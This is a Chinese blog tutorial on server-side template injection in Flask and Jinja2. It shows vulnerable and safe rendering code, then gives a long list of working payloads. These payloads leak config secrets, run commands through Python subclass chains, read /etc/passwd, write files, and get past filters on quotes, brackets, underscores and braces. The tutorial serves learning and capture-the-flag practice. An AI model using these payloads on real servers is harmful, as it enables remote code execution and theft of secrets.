Python中SSTI学习

什么是SSTI?

SSTI(Server Side Template Injection,服务器端模板注入),而模板指的就是Web开发中所使用的模板引擎。模板引擎可以将用户界面和业务数据分离,逻辑代码和业务代码也可以因此分离,代码复用变得简单,开发效率也随之提高。
服务器端使用模板,通过模板引擎对数据进行渲染,再传递给用户,就可以针对特定用户/特定参数生成相应的页面。我们可以类比百度搜索,搜索不同词条得到的结果页面是不同的,但页面的框架是基本不变的。

Flask初识

Flask快速使用

shell

# 安装虚拟环境
pip install virtualenv
# 生成虚拟环境
virtualenv venv
# 激活环境
./venv/Scripts/activate.bat
# 安装Flask
pip install flask

python

from flask import Flask

app = Flask(__name__)


@app.route('/')
def hello_world():
    return 'Hello World!'

if __name__ == '__main__':
    
    app.run()

在venv下创建code目录用来存放代码,运行test.py,然后进入http://127.0.0.1:5000/,可以看到网页上显示了Hello World!,代表app启动成功。

Flask中的Jinja2

在Python中,该漏洞常见于Flask(一个轻量级Web应用框架)模块中,Flask使用Jinja2作为模板引擎,Jinja2支持以下语法进行数据渲染:

{{}}:将花括号内的内容作为表达式执行并返回对应结果。

{{3*4}}

{%%}:用于声明变量或条件/循环语句

{% set s = 'Tuzk1' %} {% if var is true %}Tuzk1{%endif%} {% for i in range(3) %}Tuzk1{%endfor%}

{##}:注释

详细用法可以查看官方文档:http://docs.jinkan.org/docs/jinja2/templates.html

Flask渲染

python

from flask import Flask, render_template
app = Flask(__name__)

@app.route('/')
def hello():
    return 'Hello World'


@app.route('/test')
def test():
    param = '斯巴拉西'
    
    
    return render_template('hello.html', param=param)

if __name__ == '__main__':
    app.run()

html

<html>
<h1>Hello World!</h1>
<h2>{{param}}</h2>
</html>

运行,访问http://127.0.0.1:5000/test

漏洞原理

有了以上关于Flask的基础知识,我们就可以来看看漏洞是如何产生的了。由于对用户输入过滤不严,攻击者可以通过构造恶意数据,使服务器模板引擎渲染这部分数据,从而达到读取文件、RCE等目的。

下面,我们来看一下分析一下存在SSTI漏洞的代码和不存在漏洞的代码,对比学习,体会一下这个漏洞的原理。

存在SSTI漏洞的代码

from flask import Flask, request, render_template_string
from jinja2 import Template
app = Flask(__name__)

@app.route('/')
def index():
    name = request.args.get('name', default='guest')
    t = '''
        <html>
            <h1>Hello %s</h1>
        </html>
        ''' % (name)
    # 将一段字符串作为模板进行渲染
    return render_template_string(t)

"""这样的代码同样存在漏洞
def index():
    name = request.args.get('name', default='guest')
    t = Template(
        '''
        <html>
            <h1>Hello %s</h1>
        </html>
        ''' % name
    )
    # 对模板对象进行渲染
    return t.render()
"""
app.run()

使用{{10-1}}作为参数id传入,可以看到表达式被成功执行,这就是SSTI漏洞出现的特征。

不存在漏洞的代码

from flask import Flask, request, render_template
app = Flask(__name__)

@app.route('/')
def index():
    name = request.args.get('name', default='guest')
    # 
    return render_template('index.html', name=name)

app.run()

通过观察以上代码,我们可以发现漏洞出现的原因:服务器端将用户可控的输入直接拼接到模板中进行渲染,导致漏洞出现。反之,要解决该漏洞,则只需先将模板渲染,再拼接字符串。

深入到Flask渲染函数原理来讲,render和render_template_string由用户拼接,字符串不会自动转义,而render_template会对字符串计进行自动转义,因此避免了参数被作为表达式执行。

漏洞利用

利用思路

这里以通过SSTI进行RCE为例,基本的利用思路为:

  • 随便找个倒霉的内置类:[]、””
  • 通过这个类获取到object类:__base__、__bases__、__mro__
  • 通过object类获取所有子类:__subclasses__()
  • 在子类列表中找到可以利用的类
  • 直接调用类下面函数或使用该类空间下可用的其他模块的函数

魔术方法

为此,我们需要用到以下魔术方法:

魔术方法作用
__init__对象的初始化方法
__class__返回对象所属的类
__module__返回类所在的模块
__mro__返回类的调用顺序,可以此找到其父类(用于找父类
__base__获取类的直接父类(用于找父类
__bases__获取父类的元组,按它们出现的先后排序(用于找父类
__dict__返回当前类的函数、属性、全局变量等
__subclasses__返回所有仍处于活动状态的引用的列表,列表按定义顺序排列(用于找子类
__globals__获取函数所属空间下可使用的模块、方法及变量(用于访问全局变量
__import__用于导入模块,经常用于导入os模块
__builtins__返回Python中的内置函数,如eval

寻找可利用类

''.__class__
<class 'str'>
().__class__
<class 'tuple'>
[].__class__
<class 'list'>
 "".__class__
<class 'str'>
>>> ''.__class__.__base__
<class 'object'>
>>> ''.__class__.__bases__
(<class 'object'>,)
>>> ''.__class__.__mro__
(<class 'str'>, <class 'object'>)
''.__class__.__base__.__subclasses__()
''.__class__.__bases__[0].__subclasses__()
''.__class__.__mro__[-1].__subclasses__()

写个脚本跑一下,看看哪个类可以用,我这里是138和479可以用。

import re


data = r'''
    [<class 'type'>, <class 'weakref'>, ......]
'''

userful_class = ['linecache', 'os._wrap_close', 'subprocess.Popen', 'warnings.catch_warnings', '_frozen_importlib._ModuleLock', '_frozen_importlib._DummyModuleLock', '_frozen_importlib._ModuleLockManager', '_frozen_importlib.ModuleSpec']

pattern = re.compile(r"'(.*?)'")
class_list = re.findall(pattern, data)
for c in class_list:
    for i in userful_class:
        if i in c:
            print(str(class_list.index(c)) + ": " + c)

构造payload

于是构造payload,可以获取配置文件、XSS、进行RCE(反弹shell也行)或者文件读写:

获取配置信息

# 获取配置信息
{{config}}		# 能获取到config,它包含了如数据库链接字符串、连接到第三方的凭证、SECRET_KEY等敏感信息
{{request.environ}}	# 服务器环境信息

XSS

# XSS(本文主要讲SSTI的RCE姿势,XSS过滤不展开讲)
name=<script>alert(/YouAreHacked/)</script>

RCE

# 利用warnings.catch_warnings配合__builtins__得到eval函数,直接梭哈(常用)
{{[].__class__.__base__.__subclasses__()[138].__init__.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()}}

# 利用os._wrap_close类所属空间下可用的popen函数进行RCE的payload
{{"".__class__.__base__.__subclasses__()[128].__init__.__globals__.popen('whoami').read()}}
{{"".__class__.__base__.__subclasses__()[128].__init__.__globals__['popen']('whoami').read()}}

# 利用subprocess.Popen类进行RCE的payload
{{''.__class__.__base__.__subclasses__()[479]('whoami',shell=True,stdout=-1).communicate()[0].strip()}}

# 利用__import__导入os模块进行利用
{{"".__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__import__('os').popen('whoami').read()}}

# 利用linecache类所属空间下可用的os模块进行RCE的payload,假设linecache为第250个子类
{{"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__['os'].popen('whoami').read()}}
{{[].__class__.__base__.__subclasses__()[250].__init__.func_globals['linecache'].__dict__.['os'].popen('whoami').read()}}

# 利用file类(python3将file类删除了,因此只有python2可用)进行文件读
{{[].__class__.__base__.__subclasses__()[40]('etc/passwd').read()}}
{{[].__class__.__base__.__subclasses__()[40]('etc/passwd').readlines()}}
# 利用file类进行文件写(python2的str类型不直接从属于属于基类,所以要两次 .__bases__)
{{"".__class__.__bases[0]__.__bases__[0].__subclasses__()[40]('/tmp').write('test')}}

# 通用getshell,都是通过__builtins__调用eval进行代码执行
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()") }}{% endif %}{% endfor %}
# 读写文件,通过__builtins__调用open进行文件读写
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %}

常见绕过

过滤单双引号

通过request传参绕过(过滤命令时可用,当然,一般是不会起这么嚣张的参数名的)

# request.values
{{"".__class__.__bases__.__getitem__(0).__subclasses__().pop(128).__init__.__globals__.popen(request.values.rce).read()}}&rce=cat /flag
# request.cookies
{{"".__class__.__bases__.__getitem__(0).__subclasses__().pop(128).__init__.__globals__.popen(request.cookies.rce).read()}}
Cookie: rce=cat /flag;
# 还有request.headers、request.args,这里不作演示

获取chr函数,赋值给chr,拼接字符串

{% set chr=().__class__.__bases__.__getitem__(0).__subclasses__()[59].__init__.__globals__.__builtins__.chr %}
# %2b是+的url转义
{{ ().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(chr(47)%2bchr(101)%2bchr(116)%2bchr(99)%2bchr(47)%2bchr(112)%2bchr(97)%2bchr(115)%2bchr(115)%2bchr(119)%2bchr(100)).read()}}

过滤中括号

"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__.popen('whoami').read()

"".__class__.__bases__.__getitem__(0).__subclasses__().pop(128).__init__.__globals__.popen('whoami').read()


[].__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")

[].__class__.__base__.__subclasses__().__getitem__(59).__init__.__globals__.__builtins__.eval("__import__('os').popen('whoami').read()")

过滤双下划线

{{''[request.args.a][request.args.b][2][request.args.c]()}}&a=__class__&b=__mro__&c=__subclasses__


{{''[request.args.class][request.args.mro][2][request.args.subclasses]()[40]('/etc/passwd').read() }}&class=__class__&mro=__mro__&subclasses=__subclasses__
# request.cookies
{{''[request.args.class][request.args.mro][2][request.args.subclasses]()[40]('/etc/passwd').read() }}
Cookie: class=__class__; mro=__mro__; subclasses=__subclasses__;
# 还有request.headers、request.args

过滤关键字

拼接字符串

'o'+'s'
'sy' + 'stem'
'fl' + 'ag'

编码:Base64、rot13、16进制……

大小写绕过

过滤config

# 绕过,同样可以获取到config
{{self.dict._TemplateReference__context.config}}

过滤双花括号

{% + print绕过

{%print(''.__class__.__base__.__subclasses__()[138].__init__.__globals__.popen('whoami').read())%}

通用getshell

过滤引号、中括号

{% set chr=().__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(250).__init__.__globals__.__builtins__.chr %}{% for c in ().__class__.__base__.__subclasses__() %} {% if c.__name__==chr(95)%2bchr(119)%2bchr(114)%2bchr(97)%2bchr(112)%2bchr(95)%2bchr(99)%2bchr(108)%2bchr(111)%2bchr(115)%2bchr(101) %}{{ c.__init__.__globals__.popen(chr(119)%2bchr(104)%2bchr(111)%2bchr(97)%2bchr(109)%2bchr(105)).read() }}{% endif %}{% endfor %}

过滤引号、中括号、下划线

# 使用getlist,获取request的__class__
{{request|attr(request.args.getlist(request.args.l)|join)}}&l=a&a=_&a=_&a=class&a=_&a=_
# 拆解一下,等价于下列payload
{{request|attr('__class__')}}
{{request['__class__']}}
{{request.__class__}}

# 获取__object__
{{request|attr(request.args.getlist(request.args.l1)|join)|attr(request.args.getlist(request.args.l2)|join)|attr(request.args.getlist(request.args.l2)|join)|attr(request.args.getlist(request.args.l2)|join)}}&l1=a&a=_&a=_&a=class&a=_&a=_&l2=b&b=_&b=_&b=base&b=_&b=_
# 通过flask类获取会更快
{{flask|attr(request.args.getlist(request.args.l1)|join)|attr(request.args.getlist(request.args.l2)|join)}}&l1=a&a=_&a=_&a=class&a=_&a=_&l2=b&b=_&b=_&b=base&b=_&b=_

过滤引号、中括号、下划线、花括号(综合大应用),可能会有一点点复杂:)

# 打印子类并找到可以利用的类
{%print(flask|attr(request.args.getlist(request.args.l1)|join)|attr(request.args.getlist(request.args.l2)|join)|attr(request.args.getlist(request.args.l3)|join)())%}&l1=a&a=_&a=_&a=class&a=_&a=_&l2=b&b=_&b=_&b=base&b=_&b=_&l3=c&c=_&c=_&c=subclasses&c=_&c=_

# 然后稍微加一点难度
# 目录-寻找可利用类 中用到的脚本跑一下,得到os._wrap_close的序号为138(这里用这个类来演示),于是:
{%print(flask|attr(request.args.getlist(request.args.l1)|join)|attr(request.args.getlist(request.args.l2)|join)|attr(request.args.getlist(request.args.l3)|join)()|attr(request.args.getlist(request.args.l4)|join)(138)|attr(request.args.getlist(request.args.l5)|join)|attr(request.args.getlist(request.args.l6)|join)).popen(request.args.rce).read()%}&l1=a&a=_&a=_&a=class&a=_&a=_&l2=b&b=_&b=_&b=base&b=_&b=_&l3=c&c=_&c=_&c=subclasses&c=_&c=_&l4=d&d=_&d=_&d=getitem&d=_&d=_&l5=e&e=_&e=_&e=init&e=_&e=_&l6=f&f=_&f=_&f=globals&f=_&f=_&rce=whoami
# 等价于
{{''.__class__.__base__.__subclasses__()[138].__init__.__globals__.popen('whoami').read()}}

参考文章

SSTI模板注入漏洞——https://blog.csdn.net/CaiNiaoLW/article/details/110213962
浅谈SSTI——https://www.freebuf.com/articles/web/290756.html
SSTI模板注入(Python+Jinja2)——https://xz.aliyun.com/t/7746
vulhub——https://vulhub.org/#/environments/flask/ssti/
SSTI详解 一文了解SSTI和所有常见payload 以flask模板为例——https://blog.csdn.net/weixin_44604541/article/details/109048578

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇